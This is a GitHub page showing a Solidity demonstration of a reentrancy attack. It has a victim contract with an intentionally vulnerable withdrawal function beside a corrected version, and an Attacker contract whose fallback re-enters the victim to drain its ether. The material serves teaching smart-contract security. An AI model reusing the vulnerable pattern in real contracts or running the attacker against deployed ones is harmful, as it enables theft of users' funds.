-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathReentrancyAttack.sol
More file actions
105 lines (85 loc) · 2.39 KB
/
ReentrancyAttack.sol
File metadata and controls
105 lines (85 loc) · 2.39 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
pragma solidity ^0.4.6;
contract AttackeeContract {
/**
* Storage
*/
mapping (address => uint) public balances;
/**
* Events
*/
event LogPut(address from, uint amount, uint currentBalance);
event LogGet(address from, uint amount, uint currentBalance);
event LogGetComplete(address from, uint amount, uint currentBalance);
/**
* External
*/
/// @dev put funds into contract
function put() external payable {
balances[msg.sender] = msg.value;
LogPut(msg.sender, msg.value, this.balance);
}
/// @dev Allow users to withdraw funds
/// VULNERABLE METHOD - To be attacked!
function insecureGet() external {
LogGet(msg.sender, balances[msg.sender], this.balance);
if (!msg.sender.call.value(balances[msg.sender])()) {
throw;
}
LogGetComplete(msg.sender, balances[msg.sender], this.balance);
// Balance is zerod only after the funds have been set
balances[msg.sender] = 0;
}
/// @dev Allow users to withdraw funds securely
/// Not vulnerable to reentrancy attack
function secureGet() external {
// Hold value of balance but zero it in storage
uint amount = balances[msg.sender];
balances[msg.sender] = 0;
LogGet(msg.sender, amount, this.balance);
// Ether sent with only stipend of 2,300 gas
// currently only enough to log an event
if (!msg.sender.send(amount)) {
throw;
}
// At this point, the sender's contract has a balance of 0
// Also message sent without enough gas to reenter
LogGetComplete(msg.sender, balances[msg.sender], this.balance);
}
}
contract Attacker {
/**
* Storage
*/
AttackeeContract public attackee;
/**
* Events
*/
event LogAttackComplete(uint balance);
/// @dev Contract constructor
/// @param _attackee The address of the contract to attack
function Attacker (address _attackee) {
attackee = AttackeeContract(_attackee);
}
/// @dev Contract fallback
/// ATTACK OCCURS HERE
function () payable {
if (attackee.balance >= msg.value) {
attackee.insecureGet();
/*attackee.secureGet();*/
}
LogAttackComplete(this.balance);
}
/**
* External
*/
/// @dev Initiate the attack
function collect() external payable {
attackee.put.value(msg.value)();
attackee.insecureGet();
/*attackee.secureGet();*/
}
/// @dev Allocate funds to a user owned address
function kill() external {
suicide(msg.sender);
}
}